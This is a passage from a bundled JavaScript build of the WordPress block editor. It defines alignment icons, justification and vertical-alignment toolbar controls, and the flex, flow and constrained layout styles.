16347var justify_bottom_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z" }) });
16348
16349
16350;// ./node_modules/@wordpress/icons/build-module/library/justify-stretch-vertical.js
16351
16352
16353var justify_stretch_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 4L20 4L20 5.5L4 5.5L4 4ZM10 7L14 7L14 17L10 17L10 7ZM20 18.5L4 18.5L4 20L20 20L20 18.5Z" }) });
16354
16355
16356;// ./node_modules/@wordpress/icons/build-module/library/justify-space-between-vertical.js
16357
16358
16359var justify_space_between_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M7 4H17V8L7 8V4ZM7 16L17 16V20L7 20V16ZM20 11.25H4V12.75H20V11.25Z" }) });
16360
16361
16362;// ./node_modules/@wordpress/block-editor/build-module/components/block-vertical-alignment-control/ui.js
16363
16364
16365
16366
16367const BLOCK_ALIGNMENTS_CONTROLS = {
16368 top: {
16369 icon: justify_top_default,
16370 title: (0,external_wp_i18n_namespaceObject._x)("Align top", "Block vertical alignment setting")
16371 },
16372 center: {
16373 icon: justify_center_vertical_default,
16374 title: (0,external_wp_i18n_namespaceObject._x)("Align middle", "Block vertical alignment setting")
16375 },
16376 bottom: {
16377 icon: justify_bottom_default,
16378 title: (0,external_wp_i18n_namespaceObject._x)("Align bottom", "Block vertical alignment setting")
16379 },
16380 stretch: {
16381 icon: justify_stretch_vertical_default,
16382 title: (0,external_wp_i18n_namespaceObject._x)("Stretch to fill", "Block vertical alignment setting")
16383 },
16384 "space-between": {
16385 icon: justify_space_between_vertical_default,
16386 title: (0,external_wp_i18n_namespaceObject._x)("Space between", "Block vertical alignment setting")
16387 }
16388};
16389const DEFAULT_CONTROLS = ["top", "center", "bottom"];
16390const DEFAULT_CONTROL = "top";
16391function BlockVerticalAlignmentUI({
16392 value,
16393 onChange,
16394 controls = DEFAULT_CONTROLS,
16395 isCollapsed = true,
16396 isToolbar
16397}) {
16398 function applyOrUnset(align) {
16399 return () => onChange(value === align ? void 0 : align);
16400 }
16401 const activeAlignment = BLOCK_ALIGNMENTS_CONTROLS[value];
16402 const defaultAlignmentControl = BLOCK_ALIGNMENTS_CONTROLS[DEFAULT_CONTROL];
16403 const UIComponent = isToolbar ? external_wp_components_namespaceObject.ToolbarGroup : external_wp_components_namespaceObject.ToolbarDropdownMenu;
16404 const extraProps = isToolbar ? { isCollapsed } : {};
16405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16406 UIComponent,
16407 {
16408 icon: activeAlignment ? activeAlignment.icon : defaultAlignmentControl.icon,
16409 label: (0,external_wp_i18n_namespaceObject._x)(
16410 "Change vertical alignment",
16411 "Block vertical alignment setting label"
16412 ),
16413 controls: controls.map((control) => {
16414 return {
16415 ...BLOCK_ALIGNMENTS_CONTROLS[control],
16416 isActive: value === control,
16417 role: isCollapsed ? "menuitemradio" : void 0,
16418 onClick: applyOrUnset(control)
16419 };
16420 }),
16421 ...extraProps
16422 }
16423 );
16424}
16425var ui_default = BlockVerticalAlignmentUI;
16426
16427
16428;// ./node_modules/@wordpress/block-editor/build-module/components/block-vertical-alignment-control/index.js
16429
16430
16431const BlockVerticalAlignmentControl = (props) => {
16432 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_default, { ...props, isToolbar: false });
16433};
16434const BlockVerticalAlignmentToolbar = (props) => {
16435 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_default, { ...props, isToolbar: true });
16436};
16437
16438
16439;// ./node_modules/@wordpress/block-editor/build-module/components/justify-content-control/ui.js
16440
16441
16442
16443
16444const icons = {
16445 left: justify_left_default,
16446 center: justify_center_default,
16447 right: justify_right_default,
16448 "space-between": justify_space_between_default,
16449 stretch: justify_stretch_default
16450};
16451function JustifyContentUI({
16452 allowedControls = ["left", "center", "right", "space-between"],
16453 isCollapsed = true,
16454 onChange,
16455 value,
16456 popoverProps,
16457 isToolbar
16458}) {
16459 const handleClick = (next) => {
16460 if (next === value) {
16461 onChange(void 0);
16462 } else {
16463 onChange(next);
16464 }
16465 };
16466 const icon = value ? icons[value] : icons.left;
16467 const allControls = [
16468 {
16469 name: "left",
16470 icon: justify_left_default,
16471 title: (0,external_wp_i18n_namespaceObject.__)("Justify items left"),
16472 isActive: "left" === value,
16473 onClick: () => handleClick("left")
16474 },
16475 {
16476 name: "center",
16477 icon: justify_center_default,
16478 title: (0,external_wp_i18n_namespaceObject.__)("Justify items center"),
16479 isActive: "center" === value,
16480 onClick: () => handleClick("center")
16481 },
16482 {
16483 name: "right",
16484 icon: justify_right_default,
16485 title: (0,external_wp_i18n_namespaceObject.__)("Justify items right"),
16486 isActive: "right" === value,
16487 onClick: () => handleClick("right")
16488 },
16489 {
16490 name: "space-between",
16491 icon: justify_space_between_default,
16492 title: (0,external_wp_i18n_namespaceObject.__)("Space between items"),
16493 isActive: "space-between" === value,
16494 onClick: () => handleClick("space-between")
16495 },
16496 {
16497 name: "stretch",
16498 icon: justify_stretch_default,
16499 title: (0,external_wp_i18n_namespaceObject.__)("Stretch items"),
16500 isActive: "stretch" === value,
16501 onClick: () => handleClick("stretch")
16502 }
16503 ];
16504 const UIComponent = isToolbar ? external_wp_components_namespaceObject.ToolbarGroup : external_wp_components_namespaceObject.ToolbarDropdownMenu;
16505 const extraProps = isToolbar ? { isCollapsed } : {};
16506 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16507 UIComponent,
16508 {
16509 icon,
16510 popoverProps,
16511 label: (0,external_wp_i18n_namespaceObject.__)("Change items justification"),
16512 controls: allControls.filter(
16513 (elem) => allowedControls.includes(elem.name)
16514 ),
16515 ...extraProps
16516 }
16517 );
16518}
16519var ui_ui_default = JustifyContentUI;
16520
16521
16522;// ./node_modules/@wordpress/block-editor/build-module/components/justify-content-control/index.js
16523
16524
16525const JustifyContentControl = (props) => {
16526 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_ui_default, { ...props, isToolbar: false });
16527};
16528const JustifyToolbar = (props) => {
16529 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ui_ui_default, { ...props, isToolbar: true });
16530};
16531
16532
16533;// ./node_modules/@wordpress/block-editor/build-module/layouts/flex.js
16534
16535
16536
16537
16538
16539
16540
16541
16542
16543const justifyContentMap = {
16544 left: "flex-start",
16545 right: "flex-end",
16546 center: "center",
16547 "space-between": "space-between"
16548};
16549const alignItemsMap = {
16550 left: "flex-start",
16551 right: "flex-end",
16552 center: "center",
16553 stretch: "stretch"
16554};
16555const verticalAlignmentMap = {
16556 top: "flex-start",
16557 center: "center",
16558 bottom: "flex-end",
16559 stretch: "stretch",
16560 "space-between": "space-between"
16561};
16562const defaultAlignments = {
16563 horizontal: "center",
16564 vertical: "top"
16565};
16566const flexWrapOptions = ["wrap", "nowrap"];
16567var flex_default = {
16568 name: "flex",
16569 label: (0,external_wp_i18n_namespaceObject.__)("Flex"),
16570 inspectorControls: function FlexLayoutInspectorControls({
16571 layout = {},
16572 onChange,
16573 layoutBlockSupport = {}
16574 }) {
16575 const { allowOrientation = true, allowJustification = true } = layoutBlockSupport;
16576 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16577 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { children: [
16578 allowJustification && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16579 FlexLayoutJustifyContentControl,
16580 {
16581 layout,
16582 onChange
16583 }
16584 ) }),
16585 allowOrientation && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16586 OrientationControl,
16587 {
16588 layout,
16589 onChange
16590 }
16591 ) })
16592 ] }),
16593 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FlexWrapControl, { layout, onChange })
16594 ] });
16595 },
16596 toolBarControls: function FlexLayoutToolbarControls({
16597 layout = {},
16598 onChange,
16599 layoutBlockSupport
16600 }) {
16601 const { allowVerticalAlignment = true, allowJustification = true } = layoutBlockSupport;
16602 if (!allowJustification && !allowVerticalAlignment) {
16603 return null;
16604 }
16605 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(block_controls_default, { group: "block", __experimentalShareWithChildBlocks: true, children: [
16606 allowJustification && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16607 FlexLayoutJustifyContentControl,
16608 {
16609 layout,
16610 onChange,
16611 isToolbar: true
16612 }
16613 ),
16614 allowVerticalAlignment && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16615 FlexLayoutVerticalAlignmentControl,
16616 {
16617 layout,
16618 onChange
16619 }
16620 )
16621 ] });
16622 },
16623 getLayoutStyle: function getLayoutStyle({
16624 selector,
16625 layout,
16626 style,
16627 blockName,
16628 hasBlockGapSupport,
16629 layoutDefinitions = LAYOUT_DEFINITIONS
16630 }) {
16631 const { orientation = "horizontal" } = layout;
16632 const blockGapValue = style?.spacing?.blockGap && !shouldSkipSerialization(blockName, "spacing", "blockGap") ? getGapCSSValue(style?.spacing?.blockGap, "0.5em") : void 0;
16633 const justifyContent = justifyContentMap[layout.justifyContent];
16634 const flexWrap = flexWrapOptions.includes(layout.flexWrap) ? layout.flexWrap : "wrap";
16635 const verticalAlignment = verticalAlignmentMap[layout.verticalAlignment];
16636 const alignItems = alignItemsMap[layout.justifyContent] || alignItemsMap.left;
16637 let output = "";
16638 const rules = [];
16639 if (flexWrap && flexWrap !== "wrap") {
16640 rules.push(`flex-wrap: ${flexWrap}`);
16641 }
16642 if (orientation === "horizontal") {
16643 if (verticalAlignment) {
16644 rules.push(`align-items: ${verticalAlignment}`);
16645 }
16646 if (justifyContent) {
16647 rules.push(`justify-content: ${justifyContent}`);
16648 }
16649 } else {
16650 if (verticalAlignment) {
16651 rules.push(`justify-content: ${verticalAlignment}`);
16652 }
16653 rules.push("flex-direction: column");
16654 rules.push(`align-items: ${alignItems}`);
16655 }
16656 if (rules.length) {
16657 output = `${appendSelectors(selector)} {
16658 ${rules.join("; ")};
16659 }`;
16660 }
16661 if (hasBlockGapSupport && blockGapValue) {
16662 output += getBlockGapCSS(
16663 selector,
16664 layoutDefinitions,
16665 "flex",
16666 blockGapValue
16667 );
16668 }
16669 return output;
16670 },
16671 getOrientation(layout) {
16672 const { orientation = "horizontal" } = layout;
16673 return orientation;
16674 },
16675 getAlignments() {
16676 return [];
16677 }
16678};
16679function FlexLayoutVerticalAlignmentControl({ layout, onChange }) {
16680 const { orientation = "horizontal" } = layout;
16681 const defaultVerticalAlignment = orientation === "horizontal" ? defaultAlignments.horizontal : defaultAlignments.vertical;
16682 const { verticalAlignment = defaultVerticalAlignment } = layout;
16683 const onVerticalAlignmentChange = (value) => {
16684 onChange({
16685 ...layout,
16686 verticalAlignment: value
16687 });
16688 };
16689 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16690 BlockVerticalAlignmentControl,
16691 {
16692 onChange: onVerticalAlignmentChange,
16693 value: verticalAlignment,
16694 controls: orientation === "horizontal" ? ["top", "center", "bottom", "stretch"] : ["top", "center", "bottom", "space-between"]
16695 }
16696 );
16697}
16698const POPOVER_PROPS = {
16699 placement: "bottom-start"
16700};
16701function FlexLayoutJustifyContentControl({
16702 layout,
16703 onChange,
16704 isToolbar = false
16705}) {
16706 const { justifyContent = "left", orientation = "horizontal" } = layout;
16707 const onJustificationChange = (value) => {
16708 onChange({
16709 ...layout,
16710 justifyContent: value
16711 });
16712 };
16713 const allowedControls = ["left", "center", "right"];
16714 if (orientation === "horizontal") {
16715 allowedControls.push("space-between");
16716 } else {
16717 allowedControls.push("stretch");
16718 }
16719 if (isToolbar) {
16720 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16721 JustifyContentControl,
16722 {
16723 allowedControls,
16724 value: justifyContent,
16725 onChange: onJustificationChange,
16726 popoverProps: POPOVER_PROPS
16727 }
16728 );
16729 }
16730 const justificationOptions = [
16731 {
16732 value: "left",
16733 icon: justify_left_default,
16734 label: (0,external_wp_i18n_namespaceObject.__)("Justify items left")
16735 },
16736 {
16737 value: "center",
16738 icon: justify_center_default,
16739 label: (0,external_wp_i18n_namespaceObject.__)("Justify items center")
16740 },
16741 {
16742 value: "right",
16743 icon: justify_right_default,
16744 label: (0,external_wp_i18n_namespaceObject.__)("Justify items right")
16745 }
16746 ];
16747 if (orientation === "horizontal") {
16748 justificationOptions.push({
16749 value: "space-between",
16750 icon: justify_space_between_default,
16751 label: (0,external_wp_i18n_namespaceObject.__)("Space between items")
16752 });
16753 } else {
16754 justificationOptions.push({
16755 value: "stretch",
16756 icon: justify_stretch_default,
16757 label: (0,external_wp_i18n_namespaceObject.__)("Stretch items")
16758 });
16759 }
16760 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16761 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
16762 {
16763 __next40pxDefaultSize: true,
16764 __nextHasNoMarginBottom: true,
16765 label: (0,external_wp_i18n_namespaceObject.__)("Justification"),
16766 value: justifyContent,
16767 onChange: onJustificationChange,
16768 className: "block-editor-hooks__flex-layout-justification-controls",
16769 children: justificationOptions.map(({ value, icon, label }) => {
16770 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16771 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
16772 {
16773 value,
16774 icon,
16775 label
16776 },
16777 value
16778 );
16779 })
16780 }
16781 );
16782}
16783function FlexWrapControl({ layout, onChange }) {
16784 const { flexWrap = "wrap" } = layout;
16785 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16786 external_wp_components_namespaceObject.ToggleControl,
16787 {
16788 __nextHasNoMarginBottom: true,
16789 label: (0,external_wp_i18n_namespaceObject.__)("Allow to wrap to multiple lines"),
16790 onChange: (value) => {
16791 onChange({
16792 ...layout,
16793 flexWrap: value ? "wrap" : "nowrap"
16794 });
16795 },
16796 checked: flexWrap === "wrap"
16797 }
16798 );
16799}
16800function OrientationControl({ layout, onChange }) {
16801 const {
16802 orientation = "horizontal",
16803 verticalAlignment,
16804 justifyContent
16805 } = layout;
16806 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16807 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
16808 {
16809 __next40pxDefaultSize: true,
16810 __nextHasNoMarginBottom: true,
16811 className: "block-editor-hooks__flex-layout-orientation-controls",
16812 label: (0,external_wp_i18n_namespaceObject.__)("Orientation"),
16813 value: orientation,
16814 onChange: (value) => {
16815 let newVerticalAlignment = verticalAlignment;
16816 let newJustification = justifyContent;
16817 if (value === "horizontal") {
16818 if (verticalAlignment === "space-between") {
16819 newVerticalAlignment = "center";
16820 }
16821 if (justifyContent === "stretch") {
16822 newJustification = "left";
16823 }
16824 } else {
16825 if (verticalAlignment === "stretch") {
16826 newVerticalAlignment = "top";
16827 }
16828 if (justifyContent === "space-between") {
16829 newJustification = "left";
16830 }
16831 }
16832 return onChange({
16833 ...layout,
16834 orientation: value,
16835 verticalAlignment: newVerticalAlignment,
16836 justifyContent: newJustification
16837 });
16838 },
16839 children: [
16840 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16841 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
16842 {
16843 icon: arrow_right_default,
16844 value: "horizontal",
16845 label: (0,external_wp_i18n_namespaceObject.__)("Horizontal")
16846 }
16847 ),
16848 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16849 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
16850 {
16851 icon: arrow_down_default,
16852 value: "vertical",
16853 label: (0,external_wp_i18n_namespaceObject.__)("Vertical")
16854 }
16855 )
16856 ]
16857 }
16858 );
16859}
16860
16861
16862;// ./node_modules/@wordpress/block-editor/build-module/layouts/flow.js
16863
16864
16865
16866
16867
16868var flow_default = {
16869 name: "default",
16870 label: (0,external_wp_i18n_namespaceObject.__)("Flow"),
16871 inspectorControls: function DefaultLayoutInspectorControls() {
16872 return null;
16873 },
16874 toolBarControls: function DefaultLayoutToolbarControls() {
16875 return null;
16876 },
16877 getLayoutStyle: function getLayoutStyle({
16878 selector,
16879 style,
16880 blockName,
16881 hasBlockGapSupport,
16882 layoutDefinitions = LAYOUT_DEFINITIONS
16883 }) {
16884 const blockGapStyleValue = getGapCSSValue(style?.spacing?.blockGap);
16885 let blockGapValue = "";
16886 if (!shouldSkipSerialization(blockName, "spacing", "blockGap")) {
16887 if (blockGapStyleValue?.top) {
16888 blockGapValue = getGapCSSValue(blockGapStyleValue?.top);
16889 } else if (typeof blockGapStyleValue === "string") {
16890 blockGapValue = getGapCSSValue(blockGapStyleValue);
16891 }
16892 }
16893 let output = "";
16894 if (hasBlockGapSupport && blockGapValue) {
16895 output += getBlockGapCSS(
16896 selector,
16897 layoutDefinitions,
16898 "default",
16899 blockGapValue
16900 );
16901 }
16902 return output;
16903 },
16904 getOrientation() {
16905 return "vertical";
16906 },
16907 getAlignments(layout, isBlockBasedTheme) {
16908 const alignmentInfo = getAlignmentsInfo(layout);
16909 if (layout.alignments !== void 0) {
16910 if (!layout.alignments.includes("none")) {
16911 layout.alignments.unshift("none");
16912 }
16913 return layout.alignments.map((alignment) => ({
16914 name: alignment,
16915 info: alignmentInfo[alignment]
16916 }));
16917 }
16918 const alignments = [
16919 { name: "left" },
16920 { name: "center" },
16921 { name: "right" }
16922 ];
16923 if (!isBlockBasedTheme) {
16924 const { contentSize, wideSize } = layout;
16925 if (contentSize) {
16926 alignments.unshift({ name: "full" });
16927 }
16928 if (wideSize) {
16929 alignments.unshift({
16930 name: "wide",
16931 info: alignmentInfo.wide
16932 });
16933 }
16934 }
16935 alignments.unshift({ name: "none", info: alignmentInfo.none });
16936 return alignments;
16937 }
16938};
16939
16940
16941;// ./node_modules/@wordpress/icons/build-module/icon/index.js
16942
16943var icon_default = (0,external_wp_element_namespaceObject.forwardRef)(
16944 ({ icon, size = 24, ...props }, ref) => {
16945 return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
16946 width: size,
16947 height: size,
16948 ...props,
16949 ref
16950 });
16951 }
16952);
16953
16954
16955;// ./node_modules/@wordpress/icons/build-module/library/align-none.js
16956
16957
16958var align_none_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5.5H5V4h14v1.5ZM19 20H5v-1.5h14V20ZM5 9h14v6H5V9Z" }) });
16959
16960
16961;// ./node_modules/@wordpress/icons/build-module/library/stretch-wide.js
16962
16963
16964var stretch_wide_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16 5.5H8V4h8v1.5ZM16 20H8v-1.5h8V20ZM5 9h14v6H5V9Z" }) });
16965
16966
16967;// ./node_modules/@wordpress/block-editor/build-module/layouts/constrained.js
16968
16969
16970
16971
16972
16973
16974
16975
16976
16977
16978
16979var constrained_default = {
16980 name: "constrained",
16981 label: (0,external_wp_i18n_namespaceObject.__)("Constrained"),
16982 inspectorControls: function DefaultLayoutInspectorControls({
16983 layout,
16984 onChange,
16985 layoutBlockSupport = {}
16986 }) {
16987 const { wideSize, contentSize, justifyContent = "center" } = layout;
16988 const {
16989 allowJustification = true,
16990 allowCustomContentAndWideSize = true
16991 } = layoutBlockSupport;
16992 const onJustificationChange = (value) => {
16993 onChange({
16994 ...layout,
16995 justifyContent: value
16996 });
16997 };
16998 const justificationOptions = [
16999 {
17000 value: "left",
17001 icon: justify_left_default,
17002 label: (0,external_wp_i18n_namespaceObject.__)("Justify items left")
17003 },
17004 {
17005 value: "center",
17006 icon: justify_center_default,
17007 label: (0,external_wp_i18n_namespaceObject.__)("Justify items center")
17008 },
17009 {
17010 value: "right",
17011 icon: justify_right_default,
17012 label: (0,external_wp_i18n_namespaceObject.__)("Justify items right")
17013 }
17014 ];
17015 const [availableUnits] = use_settings_useSettings("spacing.units");
17016 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
17017 availableUnits: availableUnits || ["%", "px", "em", "rem", "vw"]
17018 });
17019 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
17020 external_wp_components_namespaceObject.__experimentalVStack,
17021 {
17022 spacing: 4,
17023 className: "block-editor-hooks__layout-constrained",
17024 children: [
17025 allowCustomContentAndWideSize && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
17026 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17027 external_wp_components_namespaceObject.__experimentalUnitControl,
17028 {
17029 __next40pxDefaultSize: true,
17030 label: (0,external_wp_i18n_namespaceObject.__)("Content width"),
17031 labelPosition: "top",
17032 value: contentSize || wideSize || "",
17033 onChange: (nextWidth) => {
17034 nextWidth = 0 > parseFloat(nextWidth) ? "0" : nextWidth;
17035 onChange({
17036 ...layout,
17037 contentSize: nextWidth
17038 });
17039 },
17040 units,
17041 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: align_none_default }) })
17042 }
17043 ),
17044 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17045 external_wp_components_namespaceObject.__experimentalUnitControl,
17046 {
17047 __next40pxDefaultSize: true,
17048 label: (0,external_wp_i18n_namespaceObject.__)("Wide width"),
17049 labelPosition: "top",
17050 value: wideSize || contentSize || "",
17051 onChange: (nextWidth) => {
17052 nextWidth = 0 > parseFloat(nextWidth) ? "0" : nextWidth;
17053 onChange({
17054 ...layout,
17055 wideSize: nextWidth
17056 });
17057 },
17058 units,
17059 prefix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlPrefixWrapper, { variant: "icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: stretch_wide_default }) })
17060 }
17061 ),
17062 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-hooks__layout-constrained-helptext", children: (0,external_wp_i18n_namespaceObject.__)(
17063 "Customize the width for all elements that are assigned to the center or wide columns."
17064 ) })
17065 ] }),
17066 allowJustification && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17067 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
17068 {
17069 __next40pxDefaultSize: true,
17070 __nextHasNoMarginBottom: true,
17071 label: (0,external_wp_i18n_namespaceObject.__)("Justification"),
17072 value: justifyContent,
17073 onChange: onJustificationChange,
17074 children: justificationOptions.map(
17075 ({ value, icon, label }) => {
17076 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17077 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
17078 {
17079 value,
17080 icon,
17081 label
17082 },
17083 value
17084 );
17085 }
17086 )
17087 }
17088 )
17089 ]
17090 }
17091 );
17092 },
17093 toolBarControls: function DefaultLayoutToolbarControls({
17094 layout = {},
17095 onChange,
17096 layoutBlockSupport
17097 }) {
17098 const { allowJustification = true } = layoutBlockSupport;
17099 if (!allowJustification) {
17100 return null;
17101 }
17102 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "block", __experimentalShareWithChildBlocks: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17103 DefaultLayoutJustifyContentControl,
17104 {
17105 layout,
17106 onChange
17107 }
17108 ) });
17109 },
17110 getLayoutStyle: function getLayoutStyle({
17111 selector,
17112 layout = {},
17113 style,
17114 blockName,
17115 hasBlockGapSupport,
17116 layoutDefinitions = LAYOUT_DEFINITIONS
17117 }) {
17118 const { contentSize, wideSize, justifyContent } = layout;
17119 const blockGapStyleValue = getGapCSSValue(style?.spacing?.blockGap);
17120 let blockGapValue = "";
17121 if (!shouldSkipSerialization(blockName, "spacing", "blockGap")) {
17122 if (blockGapStyleValue?.top) {
17123 blockGapValue = getGapCSSValue(blockGapStyleValue?.top);
17124 } else if (typeof blockGapStyleValue === "string") {
17125 blockGapValue = getGapCSSValue(blockGapStyleValue);
17126 }
17127 }
17128 const marginLeft = justifyContent === "left" ? "0 !important" : "auto !important";
17129 const marginRight = justifyContent === "right" ? "0 !important" : "auto !important";
17130 let output = !!contentSize || !!wideSize ? `
17131 ${appendSelectors(
17132 selector,
17133 "> :where(:not(.alignleft):not(.alignright):not(.alignfull))"
17134 )} {
17135 max-width: ${contentSize ?? wideSize};
17136 margin-left: ${marginLeft};
17137 margin-right: ${marginRight};
17138 }
17139 ${appendSelectors(selector, "> .alignwide")} {
17140 max-width: ${wideSize ?? contentSize};
17141 }
17142 ${appendSelectors(selector, "> .alignfull")} {
17143 max-width: none;
17144 }
17145 ` : "";
17146 if (justifyContent === "left") {
17147 output += `${appendSelectors(
17148 selector,
17149 "> :where(:not(.alignleft):not(.alignright):not(.alignfull))"
17150 )}
17151 { margin-left: ${marginLeft}; }`;
17152 } else if (justifyContent === "right") {
17153 output += `${appendSelectors(
17154 selector,
17155 "> :where(:not(.alignleft):not(.alignright):not(.alignfull))"
17156 )}
17157 { margin-right: ${marginRight}; }`;
17158 }
17159 if (style?.spacing?.padding) {
17160 const paddingValues = (0,external_wp_styleEngine_namespaceObject.getCSSRules)(style);
17161 paddingValues.forEach((rule) => {
17162 if (rule.key === "paddingRight") {
17163 const paddingRightValue = rule.value === "0" ? "0px" : rule.value;
17164 output += `
17165 ${appendSelectors(selector, "> .alignfull")} {
17166 margin-right: calc(${paddingRightValue} * -1);
17167 }
17168 `;
17169 } else if (rule.key === "paddingLeft") {
17170 const paddingLeftValue = rule.value === "0" ? "0px" : rule.value;
17171 output += `
17172 ${appendSelectors(selector, "> .alignfull")} {
17173 margin-left: calc(${paddingLeftValue} * -1);
17174 }
17175 `;
17176 }
17177 });
17178 }
17179 if (hasBlockGapSupport && blockGapValue) {
17180 output += getBlockGapCSS(
17181 selector,
17182 layoutDefinitions,
17183 "constrained",
17184 blockGapValue
17185 );
17186 }
17187 return output;
17188 },
17189 getOrientation() {
17190 return "vertical";
17191 },
17192 getAlignments(layout) {
17193 const alignmentInfo = getAlignmentsInfo(layout);
17194 if (layout.alignments !== void 0) {
17195 if (!layout.alignments.includes("none")) {
17196 layout.alignments.unshift("none");
17197 }
17198 return layout.alignments.map((alignment) => ({
17199 name: alignment,
17200 info: alignmentInfo[alignment]
17201 }));
17202 }
17203 const { contentSize, wideSize } = layout;
17204 const alignments = [
17205 { name: "left" },
17206 { name: "center" },
17207 { name: "right" }
17208 ];
17209 if (contentSize) {
17210 alignments.unshift({ name: "full" });
17211 }
17212 if (wideSize) {
17213 alignments.unshift({ name: "wide", info: alignmentInfo.wide });
17214 }
17215 alignments.unshift({ name: "none", info: alignmentInfo.none });
17216 return alignments;
17217 }
17218};
17219const constrained_POPOVER_PROPS = {
17220 placement: "bottom-start"
17221};
17222function DefaultLayoutJustifyContentControl({ layout, onChange }) {
17223 const { justifyContent = "center" } = layout;
17224 const onJustificationChange = (value) => {
17225 onChange({
17226 ...layout,
17227 justifyContent: value
17228 });
17229 };
17230 const allowedControls = ["left", "center", "right"];
17231 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17232 JustifyContentControl,
17233 {
17234 allowedControls,
17235 value: justifyContent,
17236 onChange: onJustificationChange,
17237 popoverProps: constrained_POPOVER_PROPS
17238 }
17239 );
17240}
17241
17242
17243;// ./node_modules/@wordpress/block-editor/build-module/layouts/grid.js
17244
17245
17246
17247
17248
17249
17250
17251
